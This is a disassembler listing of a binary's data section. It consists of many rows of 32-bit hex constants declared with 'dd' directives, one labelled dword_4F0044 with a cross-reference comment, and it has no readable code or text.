		dd 5B64D6DBh, 0F82582A2h, 0A70D6A80h, 99D06BBh,	0E9ED8182h
		dd 806ED043h, 0C66923BFh, 16886F5Dh, 8DE2F509h,	17B3AC98h
		dd 11E3800Eh, 0F6897FC0h, 8398DD3h, 0A3193A28h,	305A0C20h
		dd 551FF340h, 4B6D57E9h, 0F954D3C2h, 3CF117A2h,	6809DC38h
		dd 4F543209h, 9440E978h, 70C6272Bh, 5D80487Bh, 5AFB7829h
		dd 0C7C29092h, 9F2C5AD3h, 48007A38h, 291FC809h,	0DE95B5D7h
		dd 6CFD5C09h, 135F0120h, 5A686F62h, 82307B10h, 60B65BF3h
		dd 0F737238h, 6B903475h, 49003AE5h, 5CF8C32Dh, 0C2012D17h
		dd 16E989E8h, 6524BF4Fh, 82A57BACh, 13FA0663h, 0ED38A425h
		dd 0E95002DEh, 27D7FD53h, 662B4F01h, 44C4096Bh,	221308DFh
		dd 0B2666598h, 62E33048h, 82109F2Ah, 0A418BD2h,	0D44E8634h
		dd 760362Bh, 0EEE90606h, 54679F23h, 43BC133Fh, 0DE15EBE9h
		dd 2D50D7F1h, 556216E5h, 8BE6A822h, 2D817153h, 685279E1h
		dd 3595001Fh, 0EC26EFE4h, 58C71D29h, 8103C0C1h,	953C93F7h
		dd 8BF1654Eh, 0FD680685h, 0A775355h, 1EB7D23Eh,	22016C53h
		dd 638CA05Ah, 627F0978h, 0D00D529h, 519244F3h, 0F609F2FCh
		dd 802DA63Bh, 202A0A51h, 0EAC11350h, 425C5D08h,	9D04531Eh
		dd 0E90BC9DCh, 38484073h, 2DF8B0C1h, 0D54E9367h, 2D80C597h
		dd 0CACEB61Bh, 0F6EAE96Ah, 417649ADh, 80584D83h, 6CCAB0C3h
		dd 0A798C778h, 85B7A6EEh, 64F833CAh, 0C39D6183h, 0E2CA0DF2h
		dd 0B253E35Ch, 0B9E93002h, 0A534F24Ah, 54CBE0FCh, 5CB4D8C6h
		dd 4EE52D65h, 0A8F48A96h, 0C065D5F4h, 0F5685651h, 3D1B2513h
		dd 0C1245DC6h, 0E61C4BEEh, 97ECE9C4h, 803E25FFh, 14342EEBh
		dd 83BE40CEh, 22B8B72h,	868C718h, 0A581484Dh, 0C5056DC6h
		dd 14261131h, 22E0C93Bh, 104C23F8h, 85D93A81h, 0ADE91005h
		dd 0A951AD4Bh, 0B0E6A03Ch, 9062B17Ch, 0DAE02768h, 680747E6h
		dd 6B975EDFh, 0C8D5CDE2h, 3DBCC19Eh, 5B73D928h,	0C7A0901Ah
		dd 1F17BA3Eh, 8610F089h, 29AA17D1h, 0FF306B89h,	3F5D7678h
		dd 0A784816Eh, 9458DD21h, 0F94699BEh, 509A684Bh, 7126F0D2h
		dd 4A1D7D8Ah, 0B9E6A1B3h, 497E1E6Fh, 4EF81394h,	98535E28h
		dd 0E62AF700h, 4CA1BB4Fh, 0E2584F44h, 295B008Dh, 4E502DF8h
		dd 1C275C47h, 0D9735B0h, 3153760Bh, 48F4D1C2h, 0A9402FDh
		dd 93424B42h, 0F08BA88h, 2E9835Ah, 6658A8DCh, 889B94D3h
		dd 0D12591C4h, 0F76687E5h, 5E6831F1h, 0BC882A42h, 0A42D531Fh
		dd 1A730525h, 7A558AA5h, 0FC780949h, 9CC1A509h,	0D9D8CEE9h
		dd 68BC33D3h, 360268B0h, 35FB18B5h, 46013E56h, 944A3993h
		dd 12BCCBh, 0A22B74BEh,	4ECE316Ah, 9CAE759h, 0AB170CE9h
		dd 0B090DAEDh, 0BE9C40C0h, 0F77016Bh, 0B3ADD2A5h, 4731EAA0h
		dd 0A80ABA2Fh, 3297089Ah, 0F87A6921h, 12F9C83Eh, 7C917E48h
		dd 0EB134C5Eh, 0DE12B7B2h, 1050F342h, 0D001249h, 6DCB6FDBh
		dd 0D912DD35h, 0B4D78978h, 4A4B1D31h, 0F5C6C1CAh, 0B3808B7Ch
		dd 0FECB8613h, 0F608C962h, 0A254C0DBh, 95479239h, 0B68D725h
		dd 73D65B6Ah, 7A7DB027h, 5A5E8C34h, 0E52D9F00h,	0F43D8B46h
		dd 0E7B66531h, 0A56481C7h, 0E46D6C0Ch, 7C13AFE6h, 0EF06CC0Ch
		dd 919A505Bh, 6B8F3C26h, 6C975116h, 0B652480Ch,	901C214Bh
		dd 48542340h, 0C2AE524Eh, 0D50CE8C1h, 7F570882h, 6F81E918h
		dd 4AC4594Ch, 0C935AE25h, 2823F208h, 72D40470h,	90F72035h
		dd 7D212ABFh, 2E728A9Dh, 0FF23E04Bh, 0A54D3D6Bh, 37E9EA86h
		dd 4798C914h, 9042C041h, 279F5EEEh, 0CC0885FBh,	161F2439h
		dd 0AC8356F4h, 0A58A5FB8h, 3B6680Bh, 71849B0h, 81175107h
		dd 1633BC9h, 0CF84B662h, 0AED57718h, 7B281004h,	2EDB131h
		dd 2B705907h, 0A0CD6595h, 8E8F61FEh, 2B5AD029h,	6DFD0901h
		dd 1AFC4860h, 67A796BCh, 35174568h, 0F68DB0F0h,	6674059Fh
		dd 797AC023h, 390FB557h, 133AA1B6h, 0A1F55008h,	0D75620C9h
		dd 0A26607AAh, 82200253h, 0FACFFCE9h, 21A8026Ch, 0EDC15EBAh
		dd 5F57DE0h, 0ECCE814h,	3D8A0593h, 0AFE03AEBh, 5D08A1C1h
		dd 2A54363Bh, 0E6616402h, 8C12917h, 33580A08h, 6311BC5h
		dd 0BF530D4Bh, 42693344h, 0CA85A4D9h, 0A87E6368h, 53DDC0FBh
		dd 2AE92FD7h, 0F018114Fh, 198AA0Bh, 752B2DB0h, 5A04C02Bh
		dd 6B60DB2Ah, 0B406988Eh, 680CC154h, 6BF3A70Ch,	0E6C52384h
		dd 0D9A3CA21h, 9807EA29h, 0B57BA9C2h, 5E25AC6Ah, 8900CACAh
		dd 90BB5AD6h, 6C07805Fh, 0C3E9F329h, 9F7472Ch, 0E7A0BCC4h
		dd 0C75F9C84h, 1EEF764Bh, 0E3C14301h, 7EFB6808h, 40095926h
		dd 20A04945h, 2C981171h, 0B3EA8724h, 0E2810830h, 9A5C7E55h
		dd 0CC7B02CEh, 0D129CF46h, 0E820637Ah, 9AB6B7CEh, 6E2C10Eh
		dd 4D4A73E9h, 51048D57h, 0CD813471h, 2902D0F2h,	0BE71E862h
		dd 293CDA08h, 0C6A102FBh, 0E356F805h, 2B474989h, 17CF7BEFh
		dd 0D86F0459h, 7A5A0991h, 0AF232DB2h, 40D6C33Ah, 0A94B25C5h
		dd 0E9655066h, 79DA7670h, 607AB009h, 59CB085Eh,	0C058B70Fh
		dd 35207DEh, 748978E9h,	10B0805Ch, 0B2BD6F0Ah, 0FD310BC3h
		dd 92785A5Fh, 50612929h, 0BB7181CAh, 14301D3Fh,	0B37F847Ah
		dd 4D885AEFh, 0BE1B40AFh, 9B3E660Fh, 97E54534h,	0A68E2CCh
		dd 3F7617D8h, 9E5308ACh, 0DA606D26h, 0FC27AA37h, 67924A91h
		dd 199A270h, 68625907h,	8B05D42Dh, 65E6396Ch, 0D93B8B2Dh
		dd 0C7F44982h, 0F3201D3Dh, 124210A4h, 3BE90FD2h, 3F08BE74h
		dd 0F3310B8Dh, 0F77C22B2h, 713AAA02h, 57F5407Fh, 9F0AFED1h
		dd 0C80EF78Fh, 0F19B9097h, 4F3BEE78h, 6CE18049h, 0F72A046Dh
		dd 3FE8C0D9h, 893CF848h, 84BACA48h, 64BBB6B0h, 0C8418687h
		dd 0DF4CECB7h, 44E6CB8Fh, 96BB8DD4h, 0D6C8FAC7h, 5EF02C21h
		dd 0BC050BCBh, 0D26CF444h, 40CCE642h, 2317BD8Ch, 6117F205h
		dd 2822F0B5h, 934B3F13h, 6F4BE72Eh, 253DC4D1h, 42668905h
		dd 94E624D2h, 0C83C4D08h, 12084860h, 0F34E1568h, 609E269Ch
		dd 256932C5h, 83D10120h, 5A9FF708h, 96B50429h, 6873B6A1h
		dd 0B024CC48h, 1BBF6036h, 311F2622h, 6DC9FD09h,	0EAEF5CE1h
		dd 408E10BAh, 0D9963CEEh, 0EF5A4040h, 2E96C11Ah, 80416F3Ah
		dd 7B4CBB18h, 0D0F90151h, 563B081Ch, 30603425h,	0D87E315Bh
		dd 0D124E15Eh, 0F123A804h, 5D641EAh, 932AF3h, 4F84206h
		dd 0E9D92137h, 0E20CD470h, 0A050894Fh, 0D0CBFEC0h, 46890E3h
		dd 36EE807Bh, 5B9C128h,	1EFB049Ah, 232A0917h, 839AD673h
		dd 0C80E828Eh, 1D6801A1h, 0E3CC3A62h, 23EDE907h, 0A3C1D321h
		dd 0C0B0C404h, 3397108h, 0FD576F24h, 0BD26AA8h,	43E7210Fh
		dd 0B0159D4Fh, 0FE1C29EFh, 0B2E974BFh, 0F859F56h, 3F3BA1B8h
		dd 10299154h, 0D07612DCh, 277AC9A2h, 0FD9839C9h, 8D274EDDh
		dd 81FEC025h, 5550BC3h,	0D2701951h, 0A008EB51h,	570C171Ch
		dd 0EDE3D9E9h, 0A818588Bh, 0FCDF00D6h, 0BA377528h, 9E35101Ch
		dd 80409ECh, 43D1FEE9h,	0EA40C331h, 962B6468h, 7474494Bh
		dd 57E2BA60h, 5A2B90EAh
		dd 992412D2h, 1BFAF06Ah, 97E32880h, 4D209AE4h, 0F2810524h
		dd 81CD9E14h, 0CD5AD362h, 548345CBh, 88020052h,	406DB142h
		dd 1A026978h, 0EFC11273h, 7983DF02h, 62C83CCFh,	0BE0C562Bh
		dd 7C2F4630h, 81E054D1h, 30544B6Ah, 0B719EEADh,	9500145Eh
		dd 6E5FD4EDh, 8B0CC109h, 413CE838h, 7CAC5AA2h, 73FAD01Ah
		dd 5155C17Dh, 1E7B30EFh, 5A2740h, 3A5BAB05h, 2DE80130h
		dd 385D07A1h, 3EE9C533h, 0DC2EA4A1h, 0FD822C79h, 0ED68DCB0h
		dd 800A4A49h, 732F740Fh, 3889A055h, 58012D2Eh, 495BDAC2h
		dd 0A8B7F301h, 993029DBh, 5EAD403Ah, 0CEDCA0B5h, 4E451A6Fh
		dd 52E08C58h, 0D81FE93Dh, 4157DA31h, 8F6CDA8Ah,	0EA73D1DAh
		dd 4802E905h, 97A5BBF4h, 7B1A2989h, 0DE08767Eh,	0AF0F048Dh
		dd 10BAE8C8h, 0FE3C89FBh, 0BE06ECF7h, 8229E55Ah, 0F248EFD0h
		dd 0AE9F05ADh, 5A1CA1A6h, 603B1A67h, 1241AFECh,	0C444134Eh
		dd 0E2A81642h, 0E577B8D3h, 0C888C50Bh, 17E0C5D3h, 0F102D762h
		dd 0E0DC2A71h, 59FCB829h, 0D74867A2h, 0CB39118h, 801CD9F6h
		dd 86E868C1h, 8628E3BEh, 0B90C665Ah, 0BE2506A0h, 0A81C42BCh
		dd 45580209h, 0ACB8DF42h, 4F49A168h, 14209367h,	9F555251h
		dd 23FA5D89h, 0D14A3490h, 5B5C2183h, 2D4B72B1h,	0DC96F2D9h
		dd 94007453h, 52631E37h, 2BF4E557h, 569EAA34h, 5B0701A7h
		dd 2F5E7C8Ah, 0DAD3124Bh, 0E61554F2h, 0B15100ACh, 92B753FAh
		dd 5B1CF828h, 269CFE04h, 9C2CC80Eh, 50FB10B7h, 0B6252586h
		dd 0C4C996F1h, 0F2012FB1h, 7291F6E8h, 2DB3CDBDh, 84C91C5Bh
		dd 0B305F792h, 0BDC51DDCh, 2D209D78h, 0E1DCECAh, 0F4484560h
		dd 2D6DB65Ch, 0E6160E9h, 1FD4108h, 7629028Eh, 41980344h
		dd 1A25305Eh, 0FE72C4D0h, 8A425F4Ch, 0AAA74FE3h, 0BB2FE982h
		dd 67F04366h, 0DC108869h, 4901F0C0h, 96141B9Bh,	3A704CCDh
		dd 0B75B4070h, 34027762h, 6404EEA6h, 9802E983h,	9C6ABC68h
		dd 7B2A4650h, 11E03505h, 2780445Dh, 11C0372h, 2E5C17Eh
		dd 2AF9EDE9h, 2684B624h, 0BB027ABDh, 12B63F4Dh,	0D11C8EFCh
		dd 0E2E381C0h, 4C78F307h, 0F0D61368h, 3249E9DEh, 295F2725h
		dd 0EE740245h, 0C4914140h, 3148B5A5h, 480DED4h,	460E9728h
		dd 716DD896h, 0F663386Fh, 94A4C1BCh, 93FAB2C9h,	0B94E0125h
		dd 4C1E8067h, 132A0705h, 102927DBh, 0B95807F8h,	2532C89h
		dd 0C1A2D4E9h, 0CE18331Ah, 0BB508754h, 9A5109E4h, 53228366h
		dd 945FF8D9h, 0CF2BED89h, 96E90BB9h, 330172EBh,	0BE0CAEDFh
		dd 128D75D0h, 0B5A9BAF4h, 0D4973E01h, 19F040A5h, 65EE6529h
		dd 10CBA85Dh, 0B192BA52h, 7C47ABDh, 0B58418E8h,	0D21CFDE8h
		dd 8FB2FD91h, 26508704h, 60B7470Ah, 3173BD95h, 0CC807280h
		dd 0F39597E2h, 8B57113h, 0BDC05428h, 2BA20FF6h,	96B2E97Ah
		dd 92F65148h, 418AC804h, 0C0823CEAh, 58048643h,	0A2338268h
		dd 595412D8h, 27195D11h, 0F5134268h, 6E0285B9h,	6600A6CFh
		dd 0E956F9F7h, 92BD9F03h, 2A967D8Bh, 8999EF42h,	0C5002F50h
		dd 0E9D988EAh, 313B4FAAh, 0A7C586h, 0BFD98951h,	98018722h
		dd 66DD8800h, 0E5C0245Bh, 10540ACAh, 56530338h,	4FDA62F0h
		dd 5F491A50h, 9A68A081h, 7018BD75h, 46953825h, 0D52F2002h
		dd 0EAC2955Bh, 6563DCD8h, 5E0DAC15h, 81DD0DE2h,	7C71D3F5h
		dd 0F6C5707Eh, 41367316h, 0EAD0C100h, 0BF296E8Bh, 0E6EC968Eh
		dd 0D0568EFh, 5907DF53h, 6005CDC2h, 16DD8EC2h, 4151E74Ch
		dd 0E4E3E88h, 0C7729459h, 0B18D4E07h, 26EDF7F0h, 8928D3Ah
		dd 0C007A97Bh, 0E83307E0h, 40C3805h, 0C388638Ch, 0CDD451DEh
		dd 7C9591E7h, 0EB90094Eh, 257EB8CFh, 59127415h,	83B96341h
		dd 21ADEB21h, 0EF800065h, 1CBE193Ch, 0A8D0DF29h, 10844808h
		dd 0BF00A1F2h, 63321875h, 0B6C0E7D1h, 0C66430EEh, 0B48D9801h
		dd 0BA5C2A1h, 0CC936CF1h, 69F22484h, 0B63A6593h, 49E3272Bh
		dd 337C2141h, 0A96B48h,	54530AC4h, 0A4BA86E8h, 5F8997h
		dd 0B461D61Bh, 0DE48B708h, 0B981ABC0h, 0C83EF063h, 8997532Ch
		dd 32D15558h, 9ABDE720h, 0A83541DBh, 2881097Fh,	0C34C47Bh
		dd 0E99C7CFFh, 4612174Ah, 0E9AD3CABh, 97277520h, 350F6591h
		dd 8DE6A12h, 4EDAE917h,	31178FCFh, 0C76EF2h, 99077D68h
		dd 92E0ADF3h, 914E8CE9h, 8C1EC30h, 5E477D5Dh, 3899B6B9h
		dd 0EE4DEFDh, 1AEF2EEh,	6EDC131h, 0DFB9514Dh, 53346ED0h
		dd 0D20BE92Dh, 0CDD2480Ah, 0BF0E9820h, 74427B5Eh, 0E61A27A4h
		dd 385C2626h, 0A7FA6885h, 232C7C65h, 62000D12h,	536C2570h
		dd 26E9E8ADh, 89DEDC59h, 0A6FC5AD3h, 9AA03F62h,	8AC3C1B9h
		dd 6668BD00h, 5432FB30h, 2CEB727Bh, 9B44879h, 5D820AC9h
		dd 12D5CCD4h, 56B20248h, 0F75BA317h, 96F3D1F1h,	5D542682h
		dd 8BD54568h, 0E9FBD649h, 18272D00h, 0E92E6ED8h, 68AF1E10h
		dd 0B8515339h, 40834167h, 3D1EF9D0h, 1202048h, 48D77A0Ch
		dd 51DE52E9h, 8BD04859h, 8690AE26h, 435F4B05h, 122AE3C8h
		dd 10B9D41h, 186E908Ah,	2D964549h, 890B7B41h, 0FCB6782Eh
		dd 6A9AC5D6h, 0DC8FF43Eh, 0CEF7205Ah, 2E2C8710h, 529D159Dh
		dd 7B9EC78Bh, 0D4FCA06Ch, 6577D1E5h, 0CBAD6985h, 0F1680144h
		dd 5B41FE61h, 5E9AC16Eh, 40B104CDh, 0B5030CE0h,	0E38231D4h
		dd 0DE6B3E1Dh, 5B08A0D1h, 0F8F43458h, 0B06784FDh, 0CB56AD16h
		dd 0B455C0A3h, 88520E65h, 0D56E51E2h, 5A59EFA0h, 0DF07F658h
		dd 8005E7C0h, 0A0061036h, 80993374h, 5A49D601h,	407D9AD0h
		dd 166FE76h, 0F8316B2Dh, 4BECFAE9h, 68A264E8h, 0BA0251C9h
		dd 8149543Ah, 0F5895BDEh, 0D5E7DB5Eh, 0FAF3959Ch, 6CC61B82h
		dd 2080B22Fh, 998090E2h, 38AE91A6h, 0FCB928C2h,	13D4C403h
		dd 0ACC15FF2h, 6B0B0FAEh, 0CF29045Ah, 9BE6EE81h, 6161996Ah
		dd 96562A54h, 0D4BFF04h, 0F8A562C9h, 0F92C375Bh, 25E98F46h
		dd 5C59420Fh, 0FD6C8162h, 3C42479Ah, 42552BFDh,	0E95540A8h
		dd 311167BFh, 399301C5h, 0B6D13F27h, 779D2945h,	0EB69C9F9h
		dd 0D3E4C6DCh, 2581F121h, 0BE31A0h, 23181FD6h, 0C925387Eh
		dd 5B3BC8DEh, 0A474EC50h, 95C0763h, 0D4840FC9h,	93BFB8D9h
		dd 0EDA46AE8h, 0DBCEC403h, 26823109h, 2905D077h, 334801EEh
		dd 2E639669h, 50BBE1D2h, 0BA580466h, 82EB1D80h,	0EBA46EA3h
		dd 0E576B15Bh, 438FF6BEh, 5B56F216h, 0CBB971F0h, 0AEB21122h
		dd 35EEEB62h, 25BE5602h, 82684948h, 71E7EEFDh, 0EDECB98h
		dd 7BB50504h, 9EB2C2h, 4BD98741h, 0C18106C0h, 5A83B623h
		dd 0EB48C1DDh, 255723A3h, 5B9EB059h, 0BD9BA614h, 71950ACCh
		dd 83F40876h, 18A10C31h, 975FC439h, 8032E4C5h, 54D868DAh
		dd 3360B9ABh, 9010C6C6h, 4EC77BC3h, 86550B41h, 21894822h
		dd 0E026466Ch, 8860B75Fh, 0BC57E9E6h, 0A7050EF4h, 5A569FC3h
		dd 6B782BDAh, 0C9A2E09Fh, 9C2DF4D5h, 432C1EFEh,	0D0280A04h
		dd 0DE4EB7h, 5052515Ah,	880B11B0h, 7013E9C6h, 0FB0912A7h
		dd 9A7C015Fh, 0F967F768h, 424164E4h, 12A0AEB0h,	493C197Fh
		dd 0F27AF757h, 74A58E09h, 2D428029h, 4AD04EADh,	4C0A156h
		dd 4285AE07h, 0C4EA828Dh, 23262590h, 0B5700374h, 0D5F6003Eh
		dd 52C5ED80h, 0FE3CE3B2h, 18F204C2h, 16AA28E9h,	0BF6E656Ch
		dd 0AB86F34Bh, 0B1A17B62h, 0CE041659h, 923E3140h, 2FBF7882h
		dd 67D33AF2h, 4037B8B2h, 504A1FC4h, 9B19FC56h, 7B933C37h
		dd 68259C9Eh, 0DF9ED073h
		dd 90583D1h, 9855D05Eh,	0BF7FE6D4h, 18254914h, 7DC712A6h
		dd 6858A8A0h, 0E39946C9h, 415214A4h, 8404F3D8h,	8E39BBE2h
		dd 12B99024h, 0A4394E2Fh, 8A35E91Dh, 0BEC05B0Dh, 3B1CC3CDh
		dd 0ED035CA8h, 354815DFh, 2D2C1800h, 0D2684A82h, 0DF189530h
		dd 4FAA35FFh, 5D8A600h,	0B80442BCh, 0BD43FA2Ch,	35820785h
		dd 0EBED24FCh, 0D30C5058h, 0D5C0977h, 0B988D529h, 13132C08h
		dd 47E5397h, 2D86A59h, 0A2108C68h, 71957B9Bh, 0D4323249h
		dd 5879F4D0h, 2859CE02h, 0F75A66F0h, 2AC1C926h,	0BADB5897h
		dd 0D7E93C0Bh, 9045414Ah, 811E780Bh, 6A5F28F8h,	0F5DC4531h
		dd 8C4A2495h, 0ECE089Ah, 16B792Fh, 33029B35h, 2D148040h
		dd 0A11EA31Ah, 0E38827E9h, 510B1FE6h, 0E654B668h, 477F31E1h
		dd 2B0912D3h, 0EA100C8Eh, 985150DDh, 5A032494h,	99C3C280h
		dd 0D0F11FE2h, 0B802772Ch, 4B917187h, 80254BD1h, 49651A26h
		dd 1F29492Bh, 4AAA3910h, 96845BBCh, 8DFD7Eh, 35B95157h
		dd 81426h, 762CF181h, 0D1F759CFh, 3F725566h, 0B22D1E5Eh
		dd 21F689A1h, 0B9613982h, 0DCEEDD90h, 92EA0180h, 54512CBDh
		dd 970D244Eh, 46DF8CBDh, 71171960h, 0A0612960h,	0A7D66BEh
		dd 0EA317EE2h, 0D13132FCh, 0D438DF84h, 14AF8D4h, 7C4A0898h
		dd 0FDE3F101h, 5C5E0809h, 91E7C22Bh, 0C24B1877h, 0A4C8822Fh
		dd 7082E85Ch, 4949FE85h, 47133FCBh, 0D04B8C15h,	0E72F13BEh
		dd 0C01AAF0Fh, 7CD02C0h, 987CA63Ch, 33B25FF9h, 25EFB808h
		dd 268065E9h, 0C4FE70B4h, 0F1EC801Ch, 0FCB2EBCFh, 5D5E2619h
		dd 0BD872C6Bh, 4B7ED5Bh, 0B5E4B94Ah, 4F4B7601h,	11607486h
		dd 0EAC7D60Eh, 0E3150600h, 0BA5AD789h, 28453275h, 935DC721h
		dd 4A90DCBBh, 627A6205h, 0C1724AB7h, 700FDA9h, 3522610Ah
		dd 245F58C1h, 0E900256Dh, 0BA95D304h, 33A2D7F1h, 9B2828EFh
		dd 48D2EE27h, 43138255h, 88A42985h, 0A5FAD918h,	0E6490E71h
		dd 0E90DC30Ah, 30167D1Eh, 3B09E180h, 0BE54AC49h, 2F1F1E5Fh
		dd 404BCA10h, 977EC99Fh, 46E7B39Dh, 473D9CF8h, 72466B95h
		dd 46FBC025h, 8892C4C8h, 45BC1C7h, 0E6900517h, 141E3B22h
		dd 62D5874h, 6240F04Ah,	72933A16h, 0A05F1BE8h, 0AD60FB4Fh
		dd 0B9AC2F1h, 51427DA8h, 806B9F2h, 66C4950Ch, 4EB38527h
		dd 64565F5Dh, 1FCB5451h, 0FE69AEB5h, 81F6A320h,	76BD60ADh
		dd 2358B40h, 5D0C09Ch, 860C501h, 5981965Dh, 8F644FD9h
		dd 0C7F00BBFh, 2279DEAh, 292D211Fh, 44EDE1FDh, 1A98BA08h
		dd 0F91B07F5h, 9BE911BFh, 588EB7ABh, 5FDCE369h,	2210FC05h
		dd 0F0EE0CBEh, 0CE7E0177h, 2E45EE06h, 0F0C2357h, 0A716F62h
		dd 0FA3DBFF2h, 5088883Fh, 0F4585425h, 9D435803h, 0B4021E91h
		dd 5801EF10h, 4FCF3DEh,	25229A82h, 9599634Ah, 3E05F93Eh
		dd 0E8B5D897h, 8F56D312h, 798B3504h, 50C09BA8h,	53183D76h
		dd 8B93C5B5h, 0A86366E9h, 0FAABC3B5h, 8B49E8CAh, 0D8B22CBDh
dword_4F0044	dd 73E68091h, 5DC625CFh, 0D8E06C78h, 9AE0042Ch,	3B78B71Ch
					; DATA XREF: ___:0043D31Co
		dd 185B25F8h, 279B3A9h,	0EBC0D3F6h, 85DDFE07h, 0DB875EDEh
		dd 0C99B5FC9h, 71390495h, 21F114B4h, 0D9888E38h, 58590842h
		dd 482D1475h, 7B30C05Ah, 28E8B13Ah, 0EE66CA2Ch,	981CD018h
		dd 0BBA696B5h, 8A08A2AFh, 0E1F70FD8h, 0D2C12A2Bh, 1B9A7259h
		dd 5D258A18h, 712C56CDh, 0D025B8ACh, 0A9523804h, 7FADB4CBh
		dd 0AB0FA67h, 2A753982h, 4C882858h, 918400F8h, 5224FBE5h
		dd 0F2A01082h, 0F5229503h, 10FF2959h, 999FB75Bh, 0FF294471h
		dd 478F4047h, 9685351h,	27434CEEh, 0FC18071Bh, 46B74D78h
		dd 0CB1B2B82h, 887B262Ch, 6A2CB22Bh, 0F7950202h, 0E6AE41DDh
		dd 82CB653Eh, 14558CB4h, 21922F42h, 15819F2h, 7A410016h
		dd 0E7C11495h, 5B4B9D02h, 2CF484E0h, 24229F5Ch,	898CDEF7h
		dd 0D7EFF6D5h, 0F908DD0Fh, 766F3DB0h, 293E0245h, 8047F8D4h
		dd 0F7BA28C0h, 0F40DA54Ah, 8AC3493Fh, 10D89B51h, 2041981Fh
		dd 0FDA0F68Dh, 0EAA402C2h, 0AB0F6613h, 7D15EED2h, 0B4500E98h
		dd 883953F2h, 0BAFD24E7h, 49134B3Dh, 0A9C13309h, 0C3488215h
		dd 95560BDAh, 549413E4h, 1101BD82h, 6403F5F0h, 76B8B0F4h
		dd 9013E520h, 605A9784h, 93FBC1BFh, 29310B3Bh, 7B3430C9h
		dd 4B5D9538h, 0D24CA82Dh, 0E9828FF9h, 28DEB01Dh, 97878E9h
		dd 19926866h, 8608A459h, 0A45C1779h, 0C8401D90h, 52463BBAh
		dd 7DDE41A5h, 48DEE0B9h, 0FF6F1B12h, 4125E9C4h,	211C2E18h
		dd 941DD312h, 0E5A664Dh, 49678830h, 0C3548EB6h,	8F67BD53h
		dd 0D127A721h, 0A93266F3h, 0EB045B7Ch, 14C25DCh, 9310DFB5h
		dd 0B67A53E9h, 0F22CB091h, 0FB190146h, 264585Fh, 3C8D8B6Bh
		dd 120CC9D3h, 5B878FFh,	0A009DD4h, 6892C831h, 0A9B61A46h
		dd 753A4362h, 0EF844567h, 88816B3Eh, 56079284h,	2D045FD0h
		dd 671F7F74h, 8AF11191h, 32104F6Ah, 977947FEh, 20552948h
		dd 71ABF7F9h, 4F171358h, 5F278057h, 135B65E9h, 0D54098CEh
		dd 0DD6C1FC5h, 3FC6010Dh, 6EF22293h, 22F42514h,	23681402h
		dd 568B6C1Eh, 30B95460h, 8B587339h, 0D59CB21h, 2CCC8EC4h
		dd 71D70940h, 0D607DE9h, 0E8B3FA31h, 9ED02F3Ch,	0C3118163h
		dd 24151C2Fh, 200E084Ch, 964E3A65h, 2BCC980h, 0F726EBC9h
		dd 0C2C1D61Ah, 0C18100A8h, 0EDA7053Ch, 0F2CA01C9h, 0BEB07046h
		dd 730BD927h, 0C2EB0C3Dh, 940AEA3Bh, 0BFE0FB13h, 0B63AC102h
		dd 0E3B9836Eh, 8778E009h, 0D8D2EED7h, 631D1808h, 29CF2A0Bh
		dd 496A79FAh, 4AB0D2F0h, 0F63F597Ch, 5082A50Eh,	517D26ABh
		dd 0D6290B37h, 16085388h, 201AA15Ah, 2F9CEB23h,	58D95469h
		dd 898222D2h, 0BD15D672h, 0A800DEA7h, 0B65AF330h, 62F54275h
		dd 711CDDBFh, 0B5CCF013h, 87CF30E9h, 20685A3Eh,	0F6173864h
		dd 0E5E98EB1h, 53C5932Ch, 6AC90454h, 4789BFF9h,	0B7F2B2E0h
		dd 5C02DC47h, 0EC2E4968h, 0EAD0A7Bh, 7BC238Fh, 808537A1h
		dd 188AB850h, 0E912B10Bh, 84AD540Ah, 0C22AE768h, 48038203h
		dd 0D22C0055h, 0BD44C865h, 9625DC27h, 0F24B09E3h, 381024FBh
		dd 8F68C11Ah, 82655701h, 2EF427B4h, 28835665h, 2B0C988Dh
		dd 0B9161BEh, 6C5BDE29h, 0F1A0C52Eh, 0D4286D8Dh, 0EBBFD096h
		dd 7D912C8Bh, 66420949h, 0FF662C25h, 8695424Bh,	0BD625407h
		dd 6CA6A4D1h, 0F5A1CDAEh, 98402EF0h, 867A57C6h,	0DE012461h
		dd 0AA082029h, 614054BDh, 7F2E4B68h, 9E3A06D9h,	0E9A161BEh
		dd 73321512h, 0FFF4DA9Eh, 35F6A2FDh, 6036DCCBh,	0C154957h
		dd 8E98BCBh, 64421872h,	9AE52C7h, 49511D26h, 53925A80h
		dd 94C140Fh, 44C75F54h,	5BD7C550h, 0DCE925ECh, 0EEB23A03h
		dd 6FFCC1B9h, 8118A9D1h, 0B1E00104h, 2B500839h,	2862E5E4h
		dd 20AC6D5Bh, 8004F088h, 0EE301EEDh, 3FDEBDB8h,	46E95A8Bh
		dd 0BCF888ABh, 0E4535E26h, 0C53BAC18h, 0CDFE326Bh, 0B0FD9544h
		dd 0A1DE68D7h, 0C86B051Dh, 0E74BB840h, 2DF05841h, 7EC91E20h
		dd 0BE3097F4h, 77E0DA00h, 59FC530h, 0E407F5D5h,	0C60759E8h
		dd 0D0F24199h, 4AFA7530h, 0BA4B2490h, 41E53F82h, 7F739Fh
		dd 0A4D2DA4Dh, 2B24FE2Dh, 0E80A6930h, 5D130705h, 0B4F5AF3h
		dd 0B1688037h, 575BE950h, 0A7A86D1Dh, 0C62A262Fh, 0D34CBD20h
		dd 50D811BDh, 0E661903Eh, 5E5F9B68h, 0EF5F2E31h, 22E83101h
		dd 0FE0D09Ah, 0AE865F51h, 5068C401h, 0E2088DEAh, 0DBD80F89h
		dd 511F924Bh, 1A47D709h, 45DFC179h, 21DE09CAh, 70385402h
		dd 2CB5080Eh, 2FF6A09Bh, 92EE79B1h, 60226800h, 25587890h
		dd 0D1610F40h, 17D8357Fh, 0E913C129h, 0E160D5DDh, 5B5F6857h
		dd 9281A21Fh, 0C78B3CF3h, 0E9C2E9FBh, 7E136A9Fh, 0D866CBCEh
		dd 0B2018C1h, 226F21CEh, 8275594Fh, 78AE8h, 0F380DBF6h
		dd 0D9309C0Bh, 0F161A66h, 0EBF1E024h, 8FB252h, 0B753D2F6h
		dd 0E9FA28C9h, 0A576622Ah, 76E12027h, 7BC147F6h, 7F15C3C0h
		dd 3194FB16h, 59C88940h, 9B616D68h, 3A886943h, 0D46881BDh
		dd 2022307Dh, 11FADA52h, 511BB962h, 3198DD0Dh, 5E27082Ch
		dd 875BD125h, 6E07EAC1h, 600DFF6Dh, 6A5D8C7Ah, 8B474CC6h
		dd 30980488h, 0E982D7BDh, 40740360h, 0E52FF487h, 0FCFF00FBh
		dd 2E519127h, 2CE9FE89h, 499B68DDh, 550F097Dh, 0F7EA6A18h
